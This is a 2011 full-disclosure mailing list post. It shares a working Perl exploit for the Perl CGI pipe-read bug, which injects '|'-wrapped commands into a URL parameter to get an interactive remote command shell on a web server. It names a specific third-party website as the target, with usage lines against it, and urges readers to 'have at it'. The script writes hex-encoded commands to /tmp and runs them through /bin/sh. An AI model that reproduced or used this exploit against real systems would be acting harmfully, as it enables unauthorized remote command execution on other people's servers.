full-disclosure - perl pipe exploit (drops you at a shell)

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Message-ID: <CACQ_HNr9=EpzDRY1GjzyVCuwUoggs3nMNVLG+4wjhPuxyxmZOg@mail.gmail.com>
Date: Sat, 15 Oct 2011 18:58:55 -0300
From: Marshall Whittaker <marshallwhittaker@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: perl pipe exploit (drops you at a shell)

This works off the perl pipe read bug, you can just input the first and
second parts of the web address (with http:// included) and it'll drop you
at a shell.  When using cd you must use the absolute path because I was too
lazy to do it the correct way. ;-).  I know this is pretty easy stuff, it
works off those vulns that can just be exploited with a web browser, but
this gives you a shell.  So have at it guys & gals!  Had to resend because I
got some message about my attachment being blocked.  Not sure if it really
was, though, I'll send again anyway.  Hope this isn't spamming the list. =/

Site:
http://ultimategto.com/cgi-bin/statsedittext.cgi?filename=stats/1966vinmatrix.htm&desc=Stat+File
Useage: ./sublime.pl "
http://ultimategto.com/cgi-bin/statsedittext.cgi?filename="
"&desc=Stat+File"

Should work on most perl cgi scripts that are vulnerable to | read bug.
 Please note, it's not a "real" shell, but almost everything works, except
things that won't go in one instance like cd-ing and env vars, etc.

Play nice!

--oxagast

[CODE]

#!/usr/bin/perl

# adaptive cgi shell by oxagast

use LWP::Simple;
$part1 = @ARGV[0]; $part2 = @ARGV[1];
print "Making buffer...\n";
for $bet (100..200) {
$bettwo = $bettwo . "AAAA" . $bet . "AAAA\\\\n";
}
print "Exploiting...\n";
$id = get("$part1\|id\|$part2");
$id =~ m/(uid=\d+\(.*\) gid=\d+\(.*\) groups=\d+\(.*\))/;
print "Well shizzle my nizzle... shell by oxagast... use wisely \;\)\n\n";
$uid = $1;
print "$uid\n";
while (0 == 0) {
print "\$ ";
$cmd = <STDIN>;
chomp($cmd);
if ($cmd =~ m/cd (\/.*)/) {
$dir = $1;
}
if ($cmd eq "cd ..") {
$dir =~ s/(.*)\/.*/\/\1/;
}
if ($cmd eq "pwd") {
$dirjunk = $dir;
if ($dirjunk eq "//") {
$dirjunk = "/";
}
}
$dirjunk = "cd $dir\;$cmd";
$cmdhex = unpack("H*","$dirjunk &>/tmp/cmdlnerr");
$cmdhex =~ s/(..)/\\\\x$1/g;
get("$part1\|echo -e $bettwo > /tmp/buff\|$part2");
$backjunk2 = get("$part1\|cat /tmp/buff\|$part2");
@backjunk = split("\n", $backjunk2);
get("$part1\|echo -e \"$cmdhex\" > /tmp/cmdln\|$part2");
get("$part1\|/bin/sh /tmp/cmdln > /tmp/cmdlerr\|$part2");
$backjunk_as = get("$part1\|cat /tmp/cmdlnerr\|$part2");
@backjunk_split = split("\n", $backjunk_as);
$backjunk_wcl = get("$part1\|wc -l /tmp/cmdlnerr\|$part2");
$backjunk_wcl =~ m/(\d+) \/tmp\/cmdlnerr/m;
$thismanylines = $1 - 1;
for $junknum (0..scalar(@backjunk_split)) {
for $fuzz (10..100+$thismanylines) {
if ($backjunk[$junknum] =~ m/(AAAA\Q$fuzz\EAAAA)/) {
$middle = $1;
@backjunk[$junknum] =~ m/(.*)\Q$middle\E/;
@backjunk_split[$junknum] =~ s/$1//;
@backjunk[$junknum] =~ m/\Q$middle\E(.*)/;
@backjunk_split[$junknum] =~ s/$1//;
print "$backjunk_split[$junknum]\n";
}
}
}
}

[/CODE]

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